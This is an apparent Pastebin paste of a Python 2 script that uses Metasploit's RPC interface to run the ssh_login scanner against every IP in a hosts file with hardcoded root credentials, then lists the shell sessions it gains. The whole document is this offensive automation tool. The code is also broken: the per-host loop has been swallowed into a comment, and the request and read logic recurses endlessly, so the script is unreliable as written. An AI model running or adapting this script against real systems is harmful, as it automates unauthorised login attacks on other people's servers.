Advertisement
Guest User

Untitled

a guest
May 23rd, 2017
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.53 KB | None | 0 0
  1. #!/usr/bin/python2
  2.  
  3. import msgpack, urllib2, time
  4.  
  5. # User parameters
  6. HOSTS_FILE = "ssh_hosts.txt"
  7. USERNAME    = "root"
  8. PASSWORD    = "s3cr3t"
  9.  
  10. class MsfRpcCore:
  11.     # Initialize common variables, perform MSF login, and create a console
  12.     def __init__(self, host='127.0.0.1', port=55552, user='msf', password='pa55w0rd'):
  13.         self.host = host
  14.         self.port = port
  15.         self.user = user
  16.         self.password = password
  17.         self.auth_token = self.login()
  18.         self.console_id = self.create_console()
  19.         # Used to generate a template of an MSF RPC request
  20.  
  21.     def get_vanilla_request(self):
  22.         base_url = "http://" + self.host + ":" + str(self.port) + "/api/"
  23.         base_request = urllib2.Request(base_url)
  24.         base_request.add_header('Content-type', 'binary/message-pack')
  25.         return base_request
  26.  
  27.     # Perform a login to MSF, return the auth_token needed for subsequent requests
  28.     def login(self):
  29.         options = ['auth.login', self.user, self.password]
  30.         response = self.run(params=options, auth=False, console=False)
  31.         token = None
  32.         if response.get('result') == 'success':
  33.             print "[+] Authentication successful"
  34.             token = response.get('token')
  35.         else:
  36.             print "[-] Authentication failed"
  37.             exit()
  38.         return token
  39.  
  40.     # Function to create an MSF console.Returns console ID needed for subsequent requests
  41.     def create_console(self):
  42.         options = ['console.create']
  43.         response = self.run(params=options, console=False)
  44.         if response.get('id') is None:
  45.             print "[-] Unable to create console"
  46.             exit()
  47.         print "[+] Console %s created" % response.get('id')
  48.         return response.get('id')
  49.  
  50.     # Run an MSF command. Params list includes method name and MSF command
  51.     # Auth is a boolean indicating if the method requires an auth token
  52.     # Console is a boolean indicating if the method requires a console
  53.     # Returns an unpacked response which is a dictionary of dictionaries
  54.     def run(self, params=[], auth=True, console=True):
  55.         if auth == True and not self.auth_token:
  56.             print "[-] You must first log in to MSF"
  57.             exit()
  58.         if console == True and not self.console_id:
  59.             print "[-] Console required for command"
  60.             return None
  61.         if auth:
  62.             params.insert(1, self.auth_token)
  63.         if console:
  64.             params.insert(2, self.console_id)
  65.             request = self.get_vanilla_request()
  66.             query_params = msgpack.packb(params)
  67.             request.add_data(query_params)
  68.             response = msgpack.unpackb(urllib2.urlopen(request).read())
  69.         if params[0] == 'console.write':
  70.             time.sleep(1)
  71.         while True:
  72.             response = self.run(params=['console.read'])
  73.             if response['busy'] == True:
  74.                 time.sleep(1)
  75.                 continue
  76.             break
  77.         return response
  78.  
  79. if __name__ == '__main__':
  80.     # Read in file of host IPs
  81.     infile = open(HOSTS_FILE, 'r')
  82.     hosts = infile.readlines()
  83.     infile.close()
  84.     # Setup object, perform login, create console
  85.     msfrpc = MsfRpcCore()
  86.     # Loop through each host running SSH login against it for host in hosts:
  87.     cmd = """ use auxiliary/scanner/ssh/ssh_login set RHOSTS %s set USERNAME %s set PASSWORD %s set BLANK_PASSWORDS false set USER_AS_PASS false exploit """ % (host, USERNAME, PASSWORD)
  88.     print "[!]Testing host %s" % host
  89.     response = msfrpc.run(params=['console.write', cmd])
  90.     # Retrieve sessions
  91.     response = msfrpc.run(params=['session.list'], console=False)
  92.     if len(response) > 0:
  93.         print "[+] Listing sessions..."
  94.         print "%-15s%s" % ("Session ID", "Target")
  95.         for sess_id in response:
  96.             print "%-15s%s@%s" % (sess_id, response[sess_id].get('username'),
  97.             response[sess_id].get('target_host'))
  98.     else:
  99.         print "[-] No sessions found"
  100.         # Cleanup
  101.         msfrpc.run(params=['console.destroy'])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement